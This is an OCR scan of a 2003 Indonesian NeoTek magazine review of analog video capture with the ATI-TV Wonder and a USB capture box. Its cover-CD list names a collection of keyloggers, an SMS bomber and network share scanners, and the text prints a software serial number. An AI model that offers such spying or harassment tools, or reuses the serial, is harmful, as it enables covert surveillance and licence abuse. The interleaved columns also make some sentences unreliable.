Grand AV USB 2.0 adalah perangkat khu-
sus untuk video capture yang menggu-
video CD atau DVD sudah dibahas seca- NeoTek harganya hanya SGD69. AVI- nakan port USB 2.0 untuk mentransfer
ra terinci di NeoTek III/10 yang mem- TV Wonder adalah suatu PCI card yang streaming video ke PC anda. dari bentuk
bahas Digital Video. Tapi bagaimana pe- mempunyai dua port pada board-nya: fisiknya, video capture box ini dirancang
milik analog camcorder (atau pemilik port untuk antena TV dan port VIVO untuk digunakan pada laptop yang dileng-
tape format VHS atau Betamax) meng- (video in video out). Selain itu disertakan kapi dengan port USB 2.0.
konversi rekamannya ke bentuk digital? pula extension cable port yang dihubung- Di sisi lain video capture box ini mene-
Yang pasti anda harus masih mempu- kan ke VIVO port dan di ujung lainnya rima sinyal video lewat jack RCA (ku-
nyai video tape recorder (VCR) yang menyediakan tiga RCA port: video (ku- ning) atau S-video in. Tidak ada port
digunakan untuk memutar video tape ning) dan audio (merah dan putih). untuk menerima sinyal audio. Sinyal
anda. Mungkin VCR dalam format VHS Yang mengherankan adalah bahwa port audio harus dimasukkan dari jack RCA
ataupun (yang pernah populer di Indo- audio pada extension cable port ini tidak audio (merah dan putih) pada TV atau
nesia) format Betamax. berfungsi, sehingga untuk mentransfer VCR ke jack line-in pada sound card.
Pada prinsipnya video tape anda diputar juga audio ke format digital, jack audio Setelah instalasi driver, video capture
pada VCR itu. Biasanya jack RCA video dari TV atau VCR harus dihubungkan ke box ini akan dikenali sebagai Imaging
(kuning) dan audio (merah dan putih) port line-in pada graphics card di PC device USB 2.0 Capture.
dihubungkan ke TV, namun untuk me- anda. Untuk ini disediakan adaptor kecil Selain Grand USB AV Capture software
rekamnya kembali ke format digital, se- untuk menerima kedua RCA jack (merah disediakan juga Ulead VideoStudio 6
muanya itu dihubungkan ke port yang dan putih) dari TV atau VCR menjadi dalam paketnya. Ternyata video capture
sesuai pada video capture box (ada juga port tunggal untuk dicolokkan ke port dengan Ulead VideoStudio 6 (dan juga
yang mengharuskan video ke port video line-in pada sound card. dicoba dengan Ulead VideoStudio 5)
capture box dan audio ke line-in pada ATI-TV Wonder menyertakan CD yang lebih mudah dan lebih dapat diandalkan
gaphics card komputer anda). berisi device driver (pada PC akan dike- dibandingkan menggunakan software
Dapat juga dihubungkan dulu ke TV nali sebagai beberapa device di bawah dari pabrikannya sendiri.
dan dari TV baru dihubungkan ke video Sound, video and game controller), dileng- Ulead VideoStudio 5 maupun 6 dapat
capture box (TV-nya harus yang mem- kapi juga dengan software ATI Multi- digunakan juga untuk perangkat video
punyai audio/video out). media Center yang berupa suite untuk capture lain seperti halnya AVI-TV
TV, Video CD, CD Audio, File Player, Wonder yang dibahas sebelumnya mau-
Beberapa Pilihan Video Capture Box dan Teletext. pun webcam.
Video capture box mungkin di pasaran
lebih dikenal sebagai TV tuner, yaitu sua-
tu PCI card yang mempunyai port untuk
dihubungkan ke antena TV dan mencari
sendiri channel TV yang aktif. Selain TV
Tuner, biasanya terdapat pula fasilitas
video capture.
Video capture box yang sekaligus TV
tuner harganya beragam. Yang relatif
paling murah tidak sampai Rp500.000,-
dan mutu hasil capture-nya sudah sangat
baik.

Sep/Okt 2003 NeoTek 45


NeoReview

Video Capture dengan ATI-TV Wonder


Video capture box apapun yang digunakan, baik itu berupa PCI card khusus, yang merangkap TV
tuner, ataupun bagian dari fasilitas yang ada pada graphics card (MyVIVO), prinsipnya sama saja.
Setelah perangkat itu dikenali oleh PC anda, maka jalankan video capture software-nya

card (untuk sinyal audio-nya), ATI-TV anda mempunyai CD burner) atau-


Y
ANG MENJADI MASALAH JUSTRU
adalah demikian banyak for- Wonder ini sudah dikenali oleh PC, dan pun DVD (apabila anda mempunyai
mat video yang ada dan ka- ATI Multimedia Center sudah terpa- DVD burner).
dang kala format tertentu tidak dapat sang, maka anda tinggal menjalankan
dimainkan langsung oleh video player software itu, pilih opsi TV dan akan Burn CD atau Ekspor ke DV Camcorder
yang tersedia. tampil video/audio stream baik dari Bila hanya hendak mem-burn hasil
Pada contoh ATI-TV Wonder, misalnya, TV ataupun VCR. capture ini ke CD (tanpa melakukan
hasil capture menggunakan software Video/audio stream ini dapat dengan editing apapun), cukup gunakan Ulead
dari pabrikannya malah tidak bisa di- mudah direkam ke hard disk menjadi Movie Factory SE.
putar oleh File Player-nya sendiri. file MP2 yaitu file dengan format Ulead Movie Factory SE yang ada di
Pasalnya, file hasil capture komponen video/audio stream. CD NeoTek sebenarnya dikhususkan
TV dari ATI Multimedia Center beru- untuk DVD Camcorder, namun dapat
Masalah Playback File MP2 digunakan juga untuk memuat file
pa file *.mp2 yaitu format video/audio
stream dari Motion Picture Expert Bila anda menjalankan File Player dari video dari file (termasuk file MP2) dan
Group (MPEG) yang rupanya tidak ATI Multimedia Manager, akan tampil mem-burn-nya ke CD atau DVD.
secara default terpasang pada berbagai pesan bahwa file ini tidak dikenal. De-
media player yang lazim, bahkan juga mikian pula bila menggunakan Windows
tidak pada File Player milik ATI Mul- Media Player ataupun Quicktime.
timedia Center itu sendiri! Solusinya datang dari RealOne Player
Hanya setelah dicoba diputar dengan (tersedia dalam CD NeoTek) yang akan
RealOne Player, dan RealOne Player mencari koneksi Internet dan men-
terhubung ke Internet untuk mema- download MPEG Plug-in yang mampu
sangkan plug-in untuk format ini, ba- menjalankan (playback) file dengan
rulah file ini bisa diputar baik oleh format MP2.
RealOne Player, Windows Media Player, Setelah itu selanjutnya File Player mau-
Winamp 3, maupun oleh File Player pun Windows Media Player pun dapat
dari ATI Multimedia Center itu sendiri. memainkan file MP2. Quicktime tetap
tidak mendukung format ini.
Merekam Video/Audio Stream
Langkah selanjutnya adalah meng- Ulead Movie Factory SE: Pada tab
Setelah TV/VCR terkoneksi dengan konversi file MP2 ini menjadi format Capture klik icon File Open dan jendela
benar ke PC lewat ATI-TV Wonder final dalam bentuk Video CD (apabila Open Video File akan muncul. Pilih video
(signal video-nya) serta lewat sound yang akan di-capture dari file.

Cara mudah merekam video/audio stream

TV DARI ATI MULTIMEDIA CENTER RECORD VIDEO/AUDIO STREAM SAVE HASIL REKAMAN
1 TV/VCR telah terhubung ke PC.
Jalankan ATI Multimedia Center
2 Klik icon paling kiri dan video/audio
stream inipun akan direkam. Ter-
3 Proses recording ini belum di-
save ke hard disk sampai kita
dengan Start > Program > ATI Mul- lihat lama proses rekaman yang tekan icon yang serupa pada
timedia Center > Launchpad. Suatu sedang berjalan maupun kapa- indikator rekaman yang akan
launchpad akan tampil di sisi sitas hard disk yang masih tersisa. menghentikan perekaman dan
kanan layar. Klik pilihan pertama Disini 31,5 Gbyte masih bisa me- secara default menyimpan hasil
yaitu TV. Setelah inisialisasi akan nampung rekaman selama rekaman ke folder MyDocument
tampil video/audio streaming hampir 12 jam. sebagai Noname0x.mp2

46 NeoTek Sep/Okt 2003


NeoReview

Ekspor ke CD, DVD, atau DV Camcorder


Serbaguna: Ulead VideoStudio 6 editing, gunakan saja RealOne Player
Selain menggunakan Ulead Video yang bukan sekedar player, tetapi juga
Toolbox, file MP2 ini dapat juga suatu recorder. Hanya dalam hal ini
diubah ke format final sebagai Video RealOne Player mem-burn ke CD se-
CD atau DVD, menggunakan Ulead perti halnya Nero Burning ROM saja.
VideoStudio 6 (ada di CD NeoTek). Kelebihan RealOne Player adalah apa-
Sebenarnya kalau sudah mengguna- bila sudah diisi oleh driver dari device
kan Ulead VideoStudio 5 ataupun 6, yang sesuai dapat mengekspor sekali-
kita sudah tidak perlu menggunakan gus dikonversi ke format yang digu-
ATI Multimedia Center lagi sebab fa- nakan pada device itu.
silitas Capture dari Ulead VideoStudio Misalnya komputer anda terhubung pa-
lebih lengkap dan hasil capture-nya da Pocket PC dan RealOne Player sudah
pun dalam format yang lebih lazim, diisi dengan driver yang mengenali
yaitu format AVI. Pocket PC, maka file video anda dapat
Ulead VideoStudio juga mempunyai ditransfer ke Pocket PC asalkan format
fasilitas non-linear editing yang jauh tersebut dikenali oleh Pocket PC.
Beberapa file video dari berbagai format lebih lengkap daripada sekedar clip
dapat dipilih dengan cara yang sama. (menggunting) saja seperti pada
Apabila batal, klik icon silang. Ulead Video Toolbox.
Terdapat tab menu untuk membuat
Storyboard, memberi Effect, Overlay,
Title (judul), menambahkan Audio,
sampai akhirnya merekamnya ke
berbagai format Video CD dan DVD
untuk berbagai sistem televisi (PAL,
SECAM atau VHS).
Hasil capture dengan Ulead VideoStudio
berupa file AVI yang dapat dimanfaat-
kan oleh VirtualDub, bila anda lebih
nyaman melakukan proses linear edit-
ing atau apabila ingin memisahkan RealOne Player yang padanya sudah ter-
audio dari video-nya (NeoTek III/11). pasang Pocket PC plug-in dapat mentrans-
Bila hanya ingin di-burn ke CD tanpa fer file yang formatnya dikenali Pocket PC.

Jalankan video dan editing sederhana


dapat dilakukan berupa menggunting
(clip) terhadap file video tersebut.

Apabila menggunakan Ulead VideoStudio, tidak perlu lagi menggunakan software


Pada tab Export file dapat di-burn ke CD, video capture dari pabrikan video capture box. Video capture dengan Ulead
DVD, SVCD ataupun ekspor ke DV cam- VideoStudio lebih mudah, lebih baik, dan dapat langsung diedit ataupun diproses
corder, web, email, dan greeting card. menjadi Video CD ataupun DVD.

Sep/Okt 2003 NeoTek 47


NeoReview

Analog Video Capture daftar isi cd neotek


Semenjak membahas digital video, pertanyaan yang muncul jus- VIDEO CAPTURE & EDITING
tru bagaimana mengubah video analog ke format digital. Perta- Digital Movie Factory SE setup.exe
nyaan yang wajar sebab pemilik camcorder analog lebih banyak Hypercam v. 1.71.00 HC1Setup.exe
dan banyaknya arsip video tempo doeloe yang minta diselamat- TMPGenc 2.51 TMPGEnc-2.513.53.162-Free.zip
kan ke format VCD atau DVD. Ulead VideoStudio 6 wmencoder71.exe
she_wears_my_ring.wma
Analog Video Capture Windows Media Encoder 7.1 WMEncoder.exe
Bila membeli video capture box, sudah tersedia software untuk itu. Windows Media Encoder XP nMMConverter_2_0_b2.zip
Cukup gunakan produk ‘murah-meriah’ yang ada, dan tidak perlu WME Utility wm8eutil_setup.exe
membeli video card mahal yang menawarkan fitur myVIVO.
AUDIO/VIDEO CONVERSION
Selain dengan software yang disediakan, analog video capture Audio Conversion Studio acstudio.exe
dapat juga dilakukan dengan menggunakan Ulead VideoStudio 6 Advanced CD Audio Ripping aacrip.zip
(S/N 78102-96000-04349275) ataupun Windows Media Encoder. MusicMatch Jukebox 8 mmsetup_800010.exe
Setelah di-capture, konversi dapat dilakukan dengan TEMPGenc VirtualDub 1.5.4 VirtualDub-1.5.4.zip
atau VirtualDub ataupun tetap dengan Ulead VideoStudio 6. WinMPEG Video Conversion WinMPG_VideoConvert.zip
Terakhir dapat di-burn sebagai VCD atau DVD menggunakan WinWMA winwma.zip
Digital Movie Factory SE. WMA2WAV wmaconverter.exe
Khusus untuk Windows Media Encoder, bersama dengan Hyper- WMA Converter awmaw.exe
cam, dapat digunakan untuk membuat bahan pendidikan multi- MULTIMEDIA PLAYER
media (e-tutor). DivX 5.0.5 DivXPro505GAINBundle.exe
Media Player 7.1 Pocket PC wmnall.exe
Windows Security Media Player for Cassiopeia WMCSO.exe
Keamanan PC bukan saja terhadap bahaya yang datang lewat net- RealOne Player v.2.0 Gold RealOnePlayerV2GOLD.exe
work maupun Internet, melainkan juga perlidungan terhadap local Windows Media Player 9 MPSetup.exe
attack. Untuk itu gunakan PC Security atau WinLock 3.2.
Bahaya local attack lain adalah keylogger. Selain PAL KeyLog
WINDOWS SECURITY
AdAware 6.1.81 aaw6181.exe
Pro yang merupakan subset dari PAL PC Spy (NeoTek III/11), Internet Maniac imaniac.zip
disediakan juga berbagai koleksi keylogger. Legion v. 2.1 legion.zip
Pernahkah Windows XP anda tiba-tiba minta shut-down sendiri? NAT_NT nat.zip
Itu adalah worm MSBlaster yang memanfaatkan kelemahan RPC PC Security pcsecurity.exe
yang baru saja dibahas di NeoTek III/11. Tumpas menggunakan PQwak pqwak.zip
FixBlaster yang tersedia bersama banyak tool untuk mengatasi SharesFinder SHARESFINDER.zip
berbagai worm lain yang sedang menggejala sekarang ini. SMB Scanner smbscanner-eng.zip
SuperScan superscan.exe
PROYEK WinLock 3.2 winlock32.zip
Assembly Program Simple I O.asm KEYLOGGER
Simple I O 2.asm DOS Keylogger keyrec.zip
Simple I O 2@RAM.asm Easy Macro 2.01 em.zip
Simple I O 22@RAM.asm Invisible KeyLogger 97 ik.zip
GuestRoom v. 1.0 GuestRoom.zip KeyCopy 1.01 keycopy.zip
Keylogger v. 2.0 readme.txt KeyLog v. 2 keylog2.zip
SMSBomber SmSBoMBeR.zip KeyLog v. 2.5 keylog25.zip
TOOLS UNTUK PROYEK KeyLog95 keylog95.zip
ASPack 2.1 setup.exe KeyLog for Windows keylogwn.zip
Personal Web Server setup.exe KeyLog Windows 1.5 keylog15.zip
Resource Hacker 3.40 ResHack.zip KeyTrap 1.0 keytrap1.zip
UPX 1.23 DOS version upx.exe KeyTrap 2.0 keytrap2.zip
UPX 1.23 Linux version upx-1.23-linux.tar.gz KeyTrap 3.0 keytrap3.zip
UPX 1.23 Windows version upx.exe Log log.zip
WinHex 9.72 winhex.zip PAL KeyLog Pro KeyLogPro.exe
Phantom 2 phantom2.zip
WORM REMOVAL Playback v. 1.9c pb19c.zip
NAV Data Update 20030912-016-i32.exe
Worm Removal GAMES
FixAutoupder FixbadtransB FixBlaster Neighbours from Hell demo nfh_demo.zip
FixBrid FixBuddyFixBugbear MOTOROLA HC80 WIN IDE
FixBugbearB FixCodered FixDumaru Motorola HC80 WinIDE 1.01 ics08kxz_version_1_01.exe
FixExploreZip FixFemot FixFizzer Motorola HC80 WinIDE 1.04 ics08kxz_version_1_04A_020402.exe
FixFrethem FixFunlove FixGibe
FixGoner FixHappy99 FixHaptime KOMUNIKASI DATA
FixHibrisF FixKakWormB FixKlez Nokia 5100 Nokia_5100_Infrared_driver_98_ME.inf
FixKriz FixLirva FixLove Nokia_5100_Infrared_2000_XP.inf
FixLoveGate FixMagistr FixMiMailA Nokia 6100 Nokia_6100_Infrared_driver_98_ME.inf
FixMtx FixMumuA FixMumuB Nokia_6100_Infrared_2000_XP.inf
FixMyLife FixNavidad FixNebiwo Nokia 6210 6210_Modemsetup.exe
FixNimdaA FixNimdaE FixOpsrv Nokia 6310 Modem_Setup_for_Nokia_6310_3001.exe
FixPotok FixPrettypark FixQaz Nokia 6310i Modem_Setup_for_Nokia_6310i.exe
FixSBigA FixSBigB FixSBigC Nokia 6510 Modem_Setup_for_Nokia_6510.exe
FixSBigE FixSBigF FixSirc Nokia 8210/8250 nokia_modem8210.zip
FixSQLex FixStream FixVBSStageA Nokia 8310 Modem_Setup_for_Nokia_8310.exe
FixWelch FixWinEvar FixWinshell Sony Ericsson T68i modemscripts.zip
FixYaha KillCIH KillEz Sony Ericsson T610 ModemScriptsT68.zip

48 NeoTek Sep/Okt 2003


NeoReview

W I N DO W S M EDIA P L AYER DAN R EALO N E P L AYER

elain untuk memutar audio Pada pilihan Portable Device, Windows Tool tertentu seperti Panasonic MP3
S ataupun video, Windows Me-
dia Player serta RealOne Player
Media Player bisa mengenali Pocket
PC ataupun Palm Device, dan dapat
Player menggunakan format FAT12
yang kini sudah tidak lazim, sehingga
sebenarnya juga suatu recorder. men-transfer file kedalam device tsb. transfer file audio harus menggunakan
Pada Window Media Player terdapat Demikian juga pada RealOne Player yang RealOne Player yang dilengkapi device
pilihan-pilihan: justru lebih luas lagi kemungkinannya, plug-in yang sesuai.
• Now Playing yaitu dapat untuk mem-burn CD, selain Dengan cara ini dapat dipastikan file
• Media Guide dapat dipasangkan berbagai Plug-in lain audio/video yang ditransfer dapat di-
• CD Audio untuk berbagai portable device seperti mainkan di portable device tersebut,
• Media Library Sony NetMD, Panasonic MP3 Player, bukan dengan cara meng-copy lewat
• Radio Tuner Nomad Muvo, dan lain sebagainya. Be- Windows Explorer, yang walaupun
• Portable Device berapa add-in dapat di-download lang- dapat dilakukan, tidak menjamin file
• Skin Chooser sung dari situs Realmedia. yang ditransfer itu dapat dimainkan.

Iklan VisionNet

You might also like